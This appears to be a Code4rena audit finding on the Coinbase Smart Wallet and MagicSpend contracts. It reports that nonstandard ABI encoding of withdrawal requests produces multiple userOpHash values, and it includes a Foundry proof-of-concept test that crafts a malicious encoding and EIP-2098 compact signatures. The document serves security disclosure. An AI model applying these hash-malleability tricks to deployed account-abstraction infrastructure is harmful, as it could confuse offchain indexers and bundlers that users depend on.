Platform: Code4rena
Start Date: 14/03/2024
Pot Size: $49,000 USDC
Total HM: 3
Participants: 51
Period: 7 days
Judge: 3docSec
Id: 350
League: ETH
Rank: 48/51
Findings: 1
Award: $6.95
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: 0xmystery
Also found by: 0xbrett8571, 0xhacksmithh, 7ashraf, Bigsam, Circolors, IceBear, Jorgect, Koala, Limbooo, SBSecurity, Tigerfrake, ZanyBonzy, aycozynfada, cheatc0d3, cryptphi, d3e4, doublespending, foxb868, gpersoon, imare, jesjupyter, lsaudit, robriks, shealtielanz, y4y
6.9492 USDC - $6.95
Malicious/nonstandard WithdrawalRequest encoding by bundlers, dapps, or frontends result in non-deterministic userOpHash
s. Since ABI encoding is somewhat loose, encoding the calldata struct in different ways results in multiple possible userOpHash
values for the same WithdrawalRequest and therefore for the same UserOperation.
As a result, the hash emitted by the IEntryPoint.UserOperationEvent()
event can be manipulated to break and confuse offchain infrastructure. This type of confounding attack has been observed in earlier versions of the ERC4337 EntryPoint contract (<v0.6). Since this behavior interferes with multiple moving parts within the account abstraction standard, a very similar issue was expressly escalated to a semi-urgent fix. See the below:
https://github.com/eth-infinitism/account-abstraction/issues/237#issuecomment-1460273542 https://github.com/eth-infinitism/account-abstraction/pull/233#issuecomment-1459155222
While the original behavior was patched in EntryPoint v0.6, the potential for deviation of WithdrawRequest calldata encoding reintroduces similar behavior from higher up the call stack to the app layer (Smart Wallet).
This issue is marked as low/non-critical since it largely affects offchain software and still must be explicitly signed by wallet owners. It is however worth noting that the number of available userOpHash
s can be compounded by the options to use malleable ECDSA signatures (explicitly allowed by the Solady::SignatureCheckerLib implementation) as well as EIP2098 compact signatures, increasing the chance of collision.
PoC which can be run from a new "PoC" directory like so: ~/project-root/test/PoC/PoC.sol
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import {Test, console2} from "forge-std/Test.sol"; import {SignatureCheckerLib} from "solady/utils/SignatureCheckerLib.sol"; import {UserOperation, UserOperationLib} from "account-abstraction/interfaces/UserOperation.sol"; import {IStakeManager} from "account-abstraction/interfaces/IStakeManager.sol"; import {calldataKeccak} from "account-abstraction/core/Helpers.sol"; import {MockEntryPoint} from "../mocks/MockEntryPoint.sol"; import "test/MagicSpend/PaymasterMagicSpendBase.sol"; import "../CoinbaseSmartWallet/SmartWalletTestBase.sol"; contract PoC is Test { /// forge-config: default.fuzz.runs = 10_000_000 // dummy event for lazy selector encoding event UserOperationEvent(bytes32 indexed userOpHash, address indexed sender, address indexed paymaster, uint256 nonce, bool success, uint256 actualGasCost, uint256 actualGasUsed); uint256 msOwnerPrivateKey = 0xdeadbeef; address msOwner = vm.addr(msOwnerPrivateKey); MagicSpend magicSpend = new MagicSpend(msOwner); CoinbaseSmartWallet account = new MockCoinbaseSmartWallet(); CoinbaseSmartWallet validUserAccount = new MockCoinbaseSmartWallet(); IEntryPoint entryPoint = IEntryPoint(0x5FF137D4b0FDCD49DcA30c7CF57E578a026d2789); // userop signature params uint256 signerPrivateKey = 0xa11ce; address signer = vm.addr(signerPrivateKey); uint256 validUserPrivateKey = 0xbeef; address validUser = vm.addr(validUserPrivateKey); address bundler = vm.addr(0xc0ffeebabe); // userop uint256 callGasLimit = 49152; uint256 verificationGasLimit = 378989; uint256 preVerificationGas = 273196043; uint256 maxFeePerGas = 1000304; uint256 maxPriorityFeePerGas = 1000000; // withdraw signature params address withdrawer = address(0xb0b); address asset = address(0x0); uint256 amount = 1 ether; uint256 maxCost = amount - 10; uint256 nonce = 0; uint48 expiry = uint48(block.timestamp + 1); // to be populated per test bytes initCode; bytes userOpCalldata; bytes paymasterAndData; bytes signerSig; bytes msOwnerSig; bytes[] owners; CoinbaseSmartWallet.Call[] calls; // baseline storage structs for convenience (update members as needed) UserOperation userOp = UserOperation({ sender: address(account), nonce: nonce, initCode: initCode, callData: userOpCalldata, callGasLimit: callGasLimit, verificationGasLimit: verificationGasLimit, preVerificationGas: preVerificationGas, maxFeePerGas: maxFeePerGas, maxPriorityFeePerGas: maxPriorityFeePerGas, paymasterAndData: paymasterAndData, signature: signerSig // empty; must be populated per test }); MagicSpend.WithdrawRequest withdrawRequest = MagicSpend.WithdrawRequest({ asset: asset, amount: amount, nonce: nonce, expiry: expiry, signature: msOwnerSig // empty; must be populated per test }); function setUp() public virtual { vm.etch(0x5FF137D4b0FDCD49DcA30c7CF57E578a026d2789, Static.ENTRY_POINT_BYTES); vm.deal(address(account), 1 ether); vm.deal(address(validUserAccount), 2 ether); } function test_nonDeterministicHashesViaMaliciousWithdrawalEncoding() public { _initializeSmartWallet(signer, account); _initializeSmartWallet(validUser, validUserAccount); // standard ABI encoding MagicSpend.WithdrawRequest memory request = withdrawRequest; bytes32 requestHash = magicSpend.getHash(address(validUserAccount), request); (uint8 reqV, bytes32 reqR, bytes32 reqS) = vm.sign(msOwnerPrivateKey, requestHash); request.signature = abi.encodePacked(reqR, reqS, reqV); // malicious encoding (ABI-recognizable) // note first _craftMaliciousRequest uses previous (incorrect) sig just for slot encoding alignment bytes memory unsignedMaliciousRequest = _craftMaliciousRequest(amount, nonce, reqR, reqS, reqV, expiry, true, false); // abi can decode maliciousRequest MagicSpend.WithdrawRequest memory mal = abi.decode(unsignedMaliciousRequest, (MagicSpend.WithdrawRequest)); bytes32 maliciousHash = magicSpend.getHash(address(validUserAccount), mal); // prove non-deterministic WithdrawRequest hashes assertNotEq(maliciousHash, requestHash); // populate mal with updated signature payload signed on new hash (uint8 v, bytes32 r, bytes32 s) = vm.sign(msOwnerPrivateKey, maliciousHash); bytes memory maliciousRequest = _craftMaliciousRequest(amount, nonce, r, s, v, expiry, true, false); // prove non-deterministic UserOp hashes (, bytes32 opHash) = _getValidUserOpSigned(abi.encodePacked(address(magicSpend), abi.encode(request))); (, bytes32 malOpHash) = _getValidUserOpSigned(abi.encodePacked(address(magicSpend), maliciousRequest)); assertNotEq(opHash, malOpHash); console2.logString('expected userOpHash:'); console2.logBytes32(opHash); console2.logString('actual userOpHash:'); console2.logBytes32(malOpHash); console2.logString('each new encoding produces multiple potential userOpHashes and even more valid signatures'); } function _craftMaliciousRequest( uint256 amt, uint256 nonce, bytes32 r, bytes32 s, uint8 v, uint48 /*expiry*/, bool packExpiry, bool compactSig2098 ) internal pure returns (bytes memory) { // impl not necessary for PoC as non-determinism of `WithdrawRequest` hash & therefore `userOpHash` is proven but for example: if (!packExpiry) { /* use unpacked uint8 V & expiry */ } // further unique `WithdrawRequest` encodings lead to more permutations of `userOpHash` and request hash if (compactSig2098) { // use 64 byte signature as opposed to 65 byte s = _convertTo2098CompactSig(s, v); } return abi.encodePacked( uint256(0x20), // start ofs uint256(0x80), // sig ofs uint256(uint160(address(0x0))), // asset amt, // amount (== 1 ether) nonce, // nonce (== 0) uint256(0x41), // sig len uint256(r), // sig R uint256(s), // sig S uint256(bytes32(bytes1(v))) | uint256(uint48(0x02)) // packed sig V & expiry // uint256(uint48(0x02)) // example optional unpacked expiry slot (prev slot would be sig V only) ); } function _convertTo2098CompactSig(bytes32 s, uint8 v) internal pure returns (bytes32 newS) { // create EIP2098 compact signature by eliminating `v` and encoding the ECDSA yParity into topmost bit of `s` newS = v == 28 ? bytes32(uint256(s) + (8 << 252)) : s; } function _initializeSmartWallet(address owner, CoinbaseSmartWallet target) internal { delete owners; owners.push(abi.encode(owner)); target.initialize(owners); } function _getValidUserOpSigned(bytes memory _paymasterAndData) internal view returns (UserOperation memory validOp, bytes32 retOpHash) { // populate valid userOp fields using storage struct validOp = userOp; validOp.sender = address(validUserAccount); validOp.paymasterAndData = _paymasterAndData; // populate valid userOp signature retOpHash = entryPoint.getUserOpHash(validOp); (uint8 v, bytes32 r, bytes32 s) = vm.sign(validUserPrivateKey, retOpHash); bytes memory sig = abi.encodePacked(r, s, v); validOp.signature = abi.encode(CoinbaseSmartWallet.SignatureWrapper(0, sig)); }
#0 - raymondfam
2024-03-23T00:21:22Z
Parallels #108 in terms of userOpHash
for a possible upgrade.
#1 - c4-pre-sort
2024-03-23T00:21:26Z
raymondfam marked the issue as sufficient quality report
#2 - c4-judge
2024-03-27T13:11:34Z
3docSec marked the issue as grade-b